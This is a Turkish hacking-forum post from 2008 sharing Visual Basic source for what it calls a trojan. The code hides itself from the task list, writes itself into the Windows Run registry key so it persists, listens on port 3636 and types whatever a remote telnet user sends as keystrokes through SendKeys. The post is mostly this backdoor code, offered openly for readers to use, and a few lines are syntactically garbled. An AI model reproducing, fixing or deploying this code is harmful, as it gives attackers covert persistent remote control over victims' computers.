visual basiclemeyle yazılan trojan - Turkish Hacking Sabotage | Türkiyenin En Büyük Hack Ve Security Sitesi

b_j_k_38 · **visual basiclemeyle yazılan trojan -** 05-13-2008

Alın benim elimde de bir tane visual basiclemeyle yazılan trojan ama ben denemedim söyliyeyimUmarım işinize yarar.
Trojan Windows her çalıştığında çalışıyor.
CTRL+ALT+Del ekranında görünmüyor. Bu trojanı yiyen bilgisayara telnet ile
Bağlana biliniyor.
Microsoft Winsock projesi açın ve kodu aynısını yazın
Private Sub Form_Load()
App.TaskVisible = False ’ Trojan Ctrl + Alt + Del ekranında görünmeyecek
’ Buda programı(trojanı windows kayıt defterine ekler ve windows her
’ açıldığında çalışmasını sağlar.
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
Kayıt Defteri.RegWrite
"HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENT VERSIONRUN" & App.EXEName,
App.Path & "" & App.EXEName & ".exe"
Winsock1.LocalPort = "3636" ’ bu trojanın portun belirtir. İsterseniz değiştirebilirsiniz.
Winsock1.Listen ’Trojan bağlantıları dinliyor.
Me.Hide
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
’Winsock kontrolü kullanılıyor mu bak.
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID ’İstemci bilgisayar bağlantısını kabul et
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal
Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext
As Long, CancelDisplay As Boolean)
’Hata olmuşsa yada bağlantı kaybedilmişse, tekrar dinlemeye geçiliyor
Winsock1.Close
Winsock1.Listen
End Sub

Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.Listen
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data1 As String
Winsock1.GetData data1
DoEvents
SendKeys data1
End Sub

Konu Bilgileri
	Konu Başlığı visual basiclemeyle yazılan trojan	Konudaki Cevap Sayısı 0
	Şuan Bu Konuyu Görüntüleyenler	Görüntülenme Sayısı 0

Seçenekler	Arama
Yazdırılabilir şekli göster Sayfayı E-Mail olarak gönder	Arama: Gelişmiş arama yap
Stil
Normal Hybrid-Şeklinde gösterime geç Ağaç şeklinde gösterime geç

Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)